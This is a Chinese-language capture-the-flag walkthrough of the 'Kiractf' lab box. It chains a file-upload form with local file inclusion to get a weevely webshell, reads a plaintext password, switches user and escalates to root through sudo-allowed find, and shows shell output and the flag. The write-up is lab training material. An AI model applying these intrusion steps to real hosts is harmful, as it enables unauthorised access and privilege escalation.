Kiractf
信息收集
主机发现和端口扫描只开放了80的web服务
WEB打点
访问首页有文件上传,肯定可以利用一波。language那个页面甚至文件包含都写脸上了。
root@Lockly tmp/kiractf » curl http://192.168.56.112
<input type="submit" value="upload" onclick="window.location='/upload.php';"/>
<input type="submit" value="language" onclick="window.location='/language.php';"/>
root@Lockly tmp/kiractf » curl http://192.168.56.112/upload.php
<html>
<head>
<title>PHP File type check example</title>
</head>
<body>
<form action="upload.php" enctype="multipart/form-data" method="post">
Select image :
<input type="file" name="file"><br/>
<input type="submit" value="Upload" name="Submit1">
</form>
</body>
</html>#
root@Lockly ~ » curl http://192.168.56.112/language.php
<!DOCTYPE html>
<html>
<head>
<title>LFI</title>
</head>
<body>
<input type="submit" value="language"
onclick="window.location='/language.php?lang=en.php';" />
</form>
</body>
</html>
root@Lockly tmp/kiractf »
抓包看文件上传,这里限制图片文件上传,但是简单的%oo截断,图片前缀等等尝试了一下都不行。
文件包含
在language.php这个页面点击之后跳转en.php,参数都不用fuzz了直接测文件包含。
文件上传
利用文件包含和上传打组合拳,传png上去但通过文件包含解析。修改成png文件上传。
weevely连接成功:
横向
在supersecret-for-aziz中有个密码,应该是属于/home/bassam的。但是提示必须是交互式终端,奇怪的是明明有python环境,但是升级交互式shell会卡住。
www-data@bassam-aziz:/var/www/html $ ls
index.html
language.php
supersecret-for-aziz
upload.php
uploads
www-data@bassam-aziz:/var/www/html $ cat supersecret-for-aziz
cat: supersecret-for-aziz: Is a directory
www-data@bassam-aziz:/var/www/html $ cd supersecret-for-aziz
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ ls
bassam-pass.txt
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ cat bassam-pass.txt
Password123!@#
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ su bassam
su: must be run from a terminal
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ whereis python
python: /usr/bin/python3.6 /usr/bin/python3.6m /usr/lib/python3.7 /usr/lib/python3.8 /usr/lib/python2.7 /usr/lib/python3.6 /etc/python2.7 /etc/python3.6 /usr/local/lib/python3.6 /usr/include/python3.6m /usr/share/python
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python -c 'import pty;pty.spawn("/bin/bash")'
sh: 1: python: not found
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python3 -c 'import pty;pty.spawn("/bin/bash")'
id
whoami
换上哥斯拉的也一样,甚至提示语法错误。
反弹到msf尝试居然可以,不清楚是为什么。
提权
切换到bassam之后在这个用户的目录下找到了一个flag。sudo -l 有find可以利用来提权。
www-data@bassam-aziz:/$ su bassam
su bassam
Password: Password123!@#
bassam@bassam-aziz:/$ ls
ls
bin dev initrd.img lib64 mnt root snap sys var
boot etc initrd.img.old lost+found opt run srv tmp vmlinuz
cdrom home lib media proc sbin swapfile usr
bassam@bassam-aziz:/$ cd /home/bassam
cd /home/bassam
bassam@bassam-aziz:~$ ls
ls
Desktop Downloads Music Public user.txt
Documents examples.desktop Pictures Templates Videos
bassam@bassam-aziz:~$ cat user.txt
cat user.txt
THM{Bassam-Is-Better_Than-KIRA}
bassam@bassam-aziz:~$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#
Matching Defaults entries for bassam on bassam-aziz:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on bassam-aziz:
(ALL : ALL) /usr/bin/find
bassam@bassam-aziz:~$
老地方找payload:
拿下root权限和最后的flag。
随机推荐
- python基础:元组(tuple)列表(list)介绍
一,元组 1.元组的创建(可以把元组看作一个容器,任何数据类型都可以放在里面)通过赋值方法创建元组In [5]: t = ("hello",2.3,2,True,{1:" ...
- 文心一言 VS 讯飞星火 VS chatgpt (96)-- 算法导论9.3 1题
一.用go语言,在算法 SELECT 中,输人元素被分为每组 5 个元素.如果它们被分为每组 7个元素,该算法仍然会是线性时间吗?证明:如果分成每组 3 个元素,SELECT 的运行时间不是线性的. ...
- mpi转以太网Plus模块连接300PLC实现MPI转modbus通信
西门子200/300PLC转以太网同时实现PPI/MPI/DP转modbus通信 产品简介 MPI-ETH-XD1.0plus是在MPI-ETH-XD1.0的基础上,以太网口增加了支持与西门子带网口P ...
- 【RocketMQ】事务实现原理总结
RocketMQ事务的使用场景 单体架构下的事务 在单体系统的开发过程中,假如某个场景下需要对数据库的多张表进行操作,为了保证数据的一致性,一般会使用事务,将所有的操作全部提交或者在出错的时候全部回滚 ...
- DotNetGuide新增C#/.NET/.NET Core充电站(让你学习不迷路)
DotNetGuide简介 记录.收集和总结C#/.NET/.NET Core基础知识.学习路线.开发实战.学习视频.文章.书籍.项目框架.社区组织.开发必备工具.常见面试题.面试须知.简历模板.以及 ...
- Sentinel系列之SlotChain、NodeSelectorSlot、ClusterBuilderSlot分析
本文基于Sentinel 1.8.6版本分析 1. SlotChain 我们从入口com.alibaba.csp.sentinel.SphU#entry(java.lang.String) 开始分析. ...
- 记一次Redis Cluster Pipeline导致的死锁问题
作者:vivo 互联网服务器团队- Li Gang 本文介绍了一次排查Dubbo线程池耗尽问题的过程.通过查看Dubbo线程状态.分析Jedis连接池获取连接的源码.排查死锁条件等方面,最终确认是因为 ...
- Ubuntu上解决快捷键与idea快捷键冲突
Ubuntu上解决快捷键与idea快捷键冲突 一.ubuntu 本身系统导致,需要修改 ubuntu 快捷键 解决方案: 设置 按钮→系统设置→硬件选项区域中的"键盘"→切换到&q ...
- CentOS7调整分区大小
前言 部署CentOS7的时候分配的动态扩充虚拟磁盘,共1T大小,在安装Centos时默认分区,系统仅给/分配50G,而大量空间都挂载到/home下,最近CentOS7使用中发现空间已不足够,所以就想 ...
- Web SSH 的原理与在 ASP.NET Core SignalR 中的实现
前言 有个项目,需要在前端有个管理终端可以 SSH 到主控机的终端,如果不考虑用户使用 vim 等需要在控制台内现实界面的软件的话,其实使用 Process 类型去启动相应程序就够了.而这次的需求则需 ...